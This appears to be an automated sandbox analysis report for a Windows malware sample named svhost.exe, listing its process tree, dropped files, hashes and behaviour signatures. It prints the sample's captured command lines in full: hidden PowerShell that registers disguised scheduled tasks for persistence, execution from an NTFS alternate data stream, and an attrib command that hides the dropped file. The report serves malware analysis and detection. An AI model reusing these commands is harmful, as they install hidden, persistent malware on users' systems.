Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    14/04/2026, 01:58

General

  • Target
    svhost.exe
  • Size 263KB
  • Sample260414-cd9knady2y
  • SHA256 23ed51909e20f1e128aaf46cd8bc76f5c91488f80e9def6a101e0508a085629b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • NTFS ADS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\svhost.exe
    "C:\Users\Admin\AppData\Local\Temp\svhost.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe" --r
      2⤵
      • Executes dropped EXE
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:5932
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe" --wd 5932
        3⤵
        • Executes dropped EXE
        PID:2184
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\StateManagerSvc' -Action $a -Trigger $t -Settings $s"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:692
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:5000
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\StateManagerSvc' -Action $a -Trigger $t -Settings $s"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4424
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\WinSvcHost' -Action $a -Trigger $t -Settings $s"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Windows\system32\chcp.com
            chcp 65001
            4⤵
              PID:2888
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\WinSvcHost' -Action $a -Trigger $t -Settings $s"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3764
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Servicing\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:848
            • C:\Windows\system32\chcp.com
              chcp 65001
              4⤵
                PID:3812
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming:AppResolveWorker';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Servicing\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2412
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:4448
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:2984
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe"
                  4⤵
                  • Views/modifies file attributes
                  PID:6132
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
            C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
            1⤵
            • Executes dropped EXE
            PID:784
          • C:\Users\Admin\AppData\Roaming:AppResolveWorker
            C:\Users\Admin\AppData\Roaming:AppResolveWorker
            1⤵
            • Executes dropped EXE
            PID:3176

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
                • MD5 SHA1 SHA512 TLSH

                AppResolveWorker.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\AppResolveWorker.exe
                • Size 263KB
                • SHA256 23ed51909e20f1e128aaf46cd8bc76f5c91488f80e9def6a101e0508a085629b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 931ebe105c3d0e5bd38925c2b2d0e67b5dce138ddb16cdb9bc1bb62bf3bf06b5
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f3b774e541f85196be7dbcee939ac227676e63b634c9b538dcf51247e02640fa
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_dytu5cpx.gyw.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dytu5cpx.gyw.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/784-90-0x00007FF7423D0000-0x00007FF742430000-memory.dmp

                memory/1372-13-0x00007FF741A40000-0x00007FF741AA0000-memory.dmp

                memory/2184-64-0x00007FF7423D0000-0x00007FF742430000-memory.dmp

                memory/2412-61-0x000001DE998D0000-0x000001DE999BA000-memory.dmp

                memory/2412-62-0x000001DE81570000-0x000001DE81582000-memory.dmp

                memory/3176-93-0x00007FF741140000-0x00007FF7411A0000-memory.dmp

                memory/3764-45-0x0000028556D60000-0x0000028556D72000-memory.dmp

                memory/3764-44-0x000002856EF80000-0x000002856F06A000-memory.dmp

                memory/4424-26-0x00000187519D0000-0x0000018751ABA000-memory.dmp

                memory/4424-27-0x0000018751AC0000-0x0000018751AD2000-memory.dmp

                memory/4424-23-0x0000018751C20000-0x0000018751C3C000-memory.dmp

                memory/4424-22-0x0000018751BF0000-0x0000018751BFA000-memory.dmp

                memory/4424-21-0x0000018751EB0000-0x0000018751F63000-memory.dmp

                memory/4424-20-0x0000018751BD0000-0x0000018751BEC000-memory.dmp

                memory/4424-11-0x0000018751B10000-0x0000018751B32000-memory.dmp

                memory/5932-63-0x00007FF7423D0000-0x00007FF742430000-memory.dmp